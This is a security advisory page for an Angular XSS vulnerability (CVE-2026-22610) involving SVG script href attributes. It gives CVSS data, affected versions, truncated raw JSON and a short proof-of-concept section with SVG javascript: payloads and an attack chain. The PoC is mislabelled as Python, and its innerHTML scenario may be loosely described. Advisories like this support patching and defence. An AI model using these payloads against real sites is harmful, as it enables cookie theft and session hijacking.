Security Vulnerability Report
中文
CVE-2026-22610 CVSS 6.1 MEDIUM

CVE-2026-22610

Published: 2026-01-10 04:16:02
Last Modified: 2026-02-23 18:23:56

Description

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0, a cross-site scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the href and xlink:href attributes of SVG <script> elements as a Resource URL context. This issue has been patched in versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:21.1.0:next0:*:*:*:node.js:*:* - VULNERABLE
Angular < 19.2.18
Angular < 20.3.16
Angular < 21.0.7
Angular 21.1.0-rc.0之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Angular XSS PoC - Malicious SVG with script element // This PoC demonstrates the CVE-2026-22610 vulnerability // Example 1: SVG script element with javascript: protocol const maliciousSvg = ` <svg xmlns="http://www.w3.org/2000/svg"> <script href="javascript:alert(document.cookie)"/> </svg> `; // Example 2: SVG script element with xlink:href attribute const maliciousSvg2 = ` <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script xlink:href="javascript:alert('XSS by xlink:href')"/> </svg> `; // Example 3: Angular template with malicious SVG (attack scenario) // In an Angular application, if user input is rendered as SVG: const attackTemplate = ` <svg [innerHTML]="userProvidedSvgContent"> <!-- If userProvidedSvgContent contains: <script href="javascript:alert(document.domain)"></script> Angular's sanitization fails to recognize this as dangerous --> </svg> `; // Attack chain: // 1. Attacker identifies input field that renders SVG content // 2. Attacker injects SVG with <script href="javascript:..."> // 3. Angular template compiler processes the content // 4. Sanitization schema fails to recognize href as Resource URL context // 5. Malicious SVG is rendered to other users // 6. When victim views the page, JavaScript executes in their context

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22610", "sourceIdentifier": "[email protected]", "published": "2026-01-10T04:16:01.517", "lastModified": "2026-02-23T18:23:55.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0, a cross-site scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the href and xlink:href attributes of SVG <script> elements as a Resource URL context. This issue has been patched in versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0."}, {"lang": "es", "value": "Angular es una plataforma de desarrollo para construir aplicaciones web móviles y de escritorio usando TypeScript/JavaScript y otros lenguajes. Antes de las versiones 19.2.18, 20.3.16, 21.0.7 y 21.1.0-rc.0, una vulnerabilidad de cross-site scripting (XSS) ha sido identificada en el Compilador de Plantillas de Angular. La vulnerabilidad existe porque el esquema de saneamiento interno de Angular no reconoce los atributos href y xlink:href de los elementos SVG "}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "18.2.14", "matchCriteriaId": "B0857B9D-DDD4-42CC-B026-AF3B4081BD14"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.2.18", "matchCriteriaId": "2A2B3B64-F5DE-4BC8-9008-4B4806233444"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "20.0.0", "versionEndExcluding": "20.3.16", "matchCriteriaId": "ADFC80EA-C757-4936-9F51-1157F276607A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "21.0.0", "versionEndExcluding": "21.0.7", "matchCriteriaId": "13247BE7-FE79-4BE6-B3D3-D2A52463A44F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:21.1.0:next0:*:*:*:node.js:*:*", "matchCriteriaId": "92792D0C-2057-4433-A3FA-17AB195D8262"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:21.1.0:next1:*:*:*:node.js:*:*", "matchCriteriaId": "145F7287-BCAF-4546-BE0B-FDCDEBE742DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:21.1.0:next2:*:*:*:node.js:*:*", "matchCriteriaId": "52AADB8A-BCAC-4256-B229-4896E33AB0CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:21.1.0:next3:*:*:*:node.js:*:*", "matchCriteriaId": "91F13178-61B4-4A0F-AF9D-F1A87A0C6D59"}, {"vulnerable": t ... (truncated)